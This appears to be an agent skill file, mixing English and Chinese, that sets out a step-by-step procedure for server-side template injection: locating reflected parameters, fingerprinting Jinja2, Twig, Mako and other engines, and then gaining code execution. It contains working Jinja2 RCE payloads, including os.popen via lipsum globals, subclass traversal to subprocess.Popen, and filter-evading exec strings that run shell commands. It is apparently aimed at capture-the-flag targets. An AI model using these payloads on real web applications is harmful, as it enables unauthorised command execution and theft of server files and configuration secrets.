⛔ In-Depth References (must read the corresponding file after confirming the engine)
- Jinja2 full exploitation chain (context variables → file read → RCE) → references/jinja2-exploitation.md
- Twig/Mako/FreeMarker/Pug/Django exploitation or filter bypass → references/other-engines-and-bypass.md
- Multi-engine RCE payload quick reference and sandbox escape → references/multi-engine-payloads.md
Phase 0: Injection Point Location (execute first!)
Do not blindly try SSTI payloads on all parameters! First locate which parameters get rendered by the template:
- Use analyze_response to observe which parameter valuesappear in the response
- Onlyparameters reflected to the pagecan be injection points
- Common reflected parameters:
name,username,message,greeting,template,title,q,search
Pitfall: HTML-escaped reflection (< → <) may still be rendered by the template—{{7*7}} may still take effect.
Phase 1: Detect Template Injection (Decision Tree)
Step 1: 发送 {{7*7}}
→ 返回 49 → 进入 Step 2
→ 原样返回 → 不是 Jinja2/Twig,进入 Step 3
→ 返回空/错误 → 可能有过滤,尝试 {{7*'7'}}
Step 2: 发送 {{7*'7'}}
→ 返回 7777777 → Jinja2 (Python) ★最常见
→ 返回 49 → Twig (PHP)
Step 3: 发送 ${7*7}
→ 返回 49 → Java EL / Mako / FreeMarker
Step 4: 发送 #{7*7}
→ 返回 49 → Ruby ERB 或 Pug
Phase 2: Engine Identification Auxiliary Table
| Engine | Language | Server header clue | Confirmation method |
|---|---|---|---|
| Jinja2 | Python/Flask | Werkzeug, gunicorn | {{config}} has output |
| Django | Python | WSGIServer | {{settings.DEBUG}} |
| Twig | PHP | Apache+PHP | {{_self.env.display('id')}} |
| Mako | Python | - | ${self.module.__builtins__} |
| FreeMarker | Java | Tomcat, Spring | ${.now} returns the current time |
| Pug/Jade | Node.js | Express | #{7*7} returns 49 |
Phase 3: Exploitation Decision Tree
确认引擎类型
├─ Jinja2?→ [references/jinja2-exploitation.md](references/jinja2-exploitation.md)
│ 优先级:上下文变量 → config → 文件读取 → RCE(lipsum链)
├─ Twig?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
├─ Mako/FreeMarker/Pug?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
├─ Django?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
│ 无 RCE!优先级:上下文变量穷举 → request.META → settings → admin 路径发现
└─ 有过滤?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)(过滤绕过部分)
Jinja2 Quick Reference(full payload → references/jinja2-exploitation.md):
{{lipsum.__globals__['os'].popen('id').read()}} # RCE 首选
{{config}} # 读配置
Notes
- Simple before complex: context variables → config → file read → RCE
- URL encoding: when injecting via GET parameters,
{{}}needs encoding - Error messages: 500 pages may leak the engine type and Python version
Phase 4: Advanced Exploitation Techniques
4.1 Subclass Traversal and Payload Construction
- Use a for + enumerate loop to traverse the subclass list
- Target class:
os._wrap_close、subprocess.Popen - Conditional filtering:
if 'popen' in str(cls)— string matching filter - Indexes differ across environments; dynamic lookup is needed rather than hardcoded indexes
4.2 Filter Bypass Techniques
- External parameter passing:
?a=__class__&b=__mro__, reference it in the template withrequest.args.aQuote - Filtering only checks template content, not URL parameters
- Split the payload: separate the injection point from the data point
- When keywords are filtered, reach the builtins module via
globals.__self__and bypass using string concatenation:{{ globals.__self__.exec("imp" + "ort o" + "s;o" + "s.system('cat /flag')") }} {{ request.__class__.__init__.__globals__.__builtins__.exec("__imp"+"ort__('o'+'s').system('id')") }}
4.3 Exploitation Order
- Highest priority: try the simple ones first, direct variable access (
{{config}}) - Order: confirm before exploiting, identify the engine before choosing a payload
- Finally: send the RCE payload via http_request to obtain the flag